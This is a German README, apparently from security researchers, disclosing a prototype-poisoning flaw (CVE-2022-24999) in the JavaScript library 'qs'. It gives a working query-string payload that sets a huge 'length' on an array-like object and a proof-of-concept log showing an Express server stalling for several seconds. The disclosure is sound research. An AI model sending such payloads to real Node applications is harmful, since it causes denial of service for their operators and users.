
"qs" Prototype-Poisoning-Schwachstelle ( CVE-2022-24999 )
Dieses Repository enthält Exploit-Beispiele der Sicherheitslücke, die wir im Dezember 2021 in der JS-Bibliothek "qs" gefunden haben.
Verwundbare Versionen von "qs" erlauben das Erstellen von "proto"-Eigenschaften auf den ausgegebenen JS-Objekten.
Indem wir ein Array in die "__ proto__"-Eigenschaft setzten, konnten wir "array-ähnliche" Objekte erzeugen.
Da die resultierenden Objekte den "Array"-Prototyp erben, legen sie die nativen Array-Funktionen offen.
Da sie aber immer noch Objekte sind, erlaubt "qs" das Setzen der "length"-Eigenschaft auf ihnen.
Als Beispiel erzeugt das folgende Payload diese Art von "bösartigem" Array:
categories[_proto__]&categories[_proto__]&categories[length]=100000000
Daher wird das Setzen eines unverhältnismäßigen "length"-Werts auf ihnen den Node-Prozess einfrieren, sobald er versucht, sie in Zeichenfolgenwerte zu konvertieren oder die meisten nativen Array-Funktionen aufzurufen.
Dies legt jede Node-Anwendung offen, die eine verwundbare Version von "qs" mit der Standard-Express-Konfiguration und ohne ein starkes Validierungssystem verwendet, gegenüber anwendungsbezogenen DOS-Angriffen.
Hier ein Beispiel-Log des PoC in ./express-qs-string-bomb:
Send payload : someString[_proto__]&someString[_proto__]&someString[length]=100000000
[server] Received params { someString: Array { length: '100000000' } }
[server] Run someString + 0
[server] someString + 0 : 6.364s
[server] Run someString == "123"
[server] someString == "123" : 6.387s
[server] just write `Got ${someString}`
[server] just write `Got ${someString}` : 6.397s
Unsere Analyse zeigte uns auch, dass andere Ausnutzungsmodi möglich waren.
Einige davon beschreiben wir im Verzeichnis ./qs-vulns.
BRAUN Nathanael & BRISSAUD Johan
Für EY Security, Frankreich